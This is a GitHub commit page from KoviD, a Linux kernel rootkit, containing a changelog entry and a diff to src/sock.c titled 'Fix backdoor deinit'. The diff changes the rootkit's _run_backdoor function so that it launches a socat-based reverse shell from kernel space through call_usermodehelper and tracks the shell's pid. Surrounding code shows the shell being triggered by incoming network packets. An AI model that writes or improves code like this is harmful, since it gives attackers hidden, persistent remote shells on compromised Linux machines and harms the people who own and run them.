Skip to content

Commit

Permalink
Merge pull request #126 from carloslack/kvdev
Browse files Browse the repository at this point in the history
Fix backdoor deinit
  • Loading branch information
carloslack authored Oct 19, 2024
2 parents d984ade + 7219ae5 commit d01bd4b
Show file tree
Hide file tree
Showing 2 changed files with 8 additions and 1 deletion.
3 changes: 3 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,9 @@ All notable changes to KoviD will be documented in this file.

The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/).

## 2.1.1 - Oct 19 2024
### Fixed
- Fix backdoors deinit from 4ea5cd27

## 2.1.0 - Oct 18 2024
### Added
Expand Down
6 changes: 5 additions & 1 deletion src/sock.c
Original file line number Diff line number Diff line change
Expand Up @@ -235,6 +235,7 @@ static int _run_backdoor(struct iphdr *iph, struct tcphdr *tcph, int select) {
char *envp[] = {"HOME=/", "TERM=linux", NULL};
int ret = -1;
pid_t shellpid = 0;
struct subprocess_info *info;
__be32 saddr = iph->saddr;
const char *binpath = _locate_bdbin(select == RR_SOCAT_TTY ?
RR_SOCAT : select);
Expand All @@ -254,7 +255,10 @@ static int _run_backdoor(struct iphdr *iph, struct tcphdr *tcph, int select) {
}

argv[2] = rev;
ret = kv_run_system_command(argv);
if ((info = call_usermodehelper_setup(argv[0], argv, envp,
GFP_KERNEL, _retrieve_pid_cb, NULL, &shellpid))) {
ret = call_usermodehelper_exec(info, UMH_WAIT_EXEC);
}

/*
* wait a little while before the
Expand Down

0 comments on commit d01bd4b

Please sign in to comment.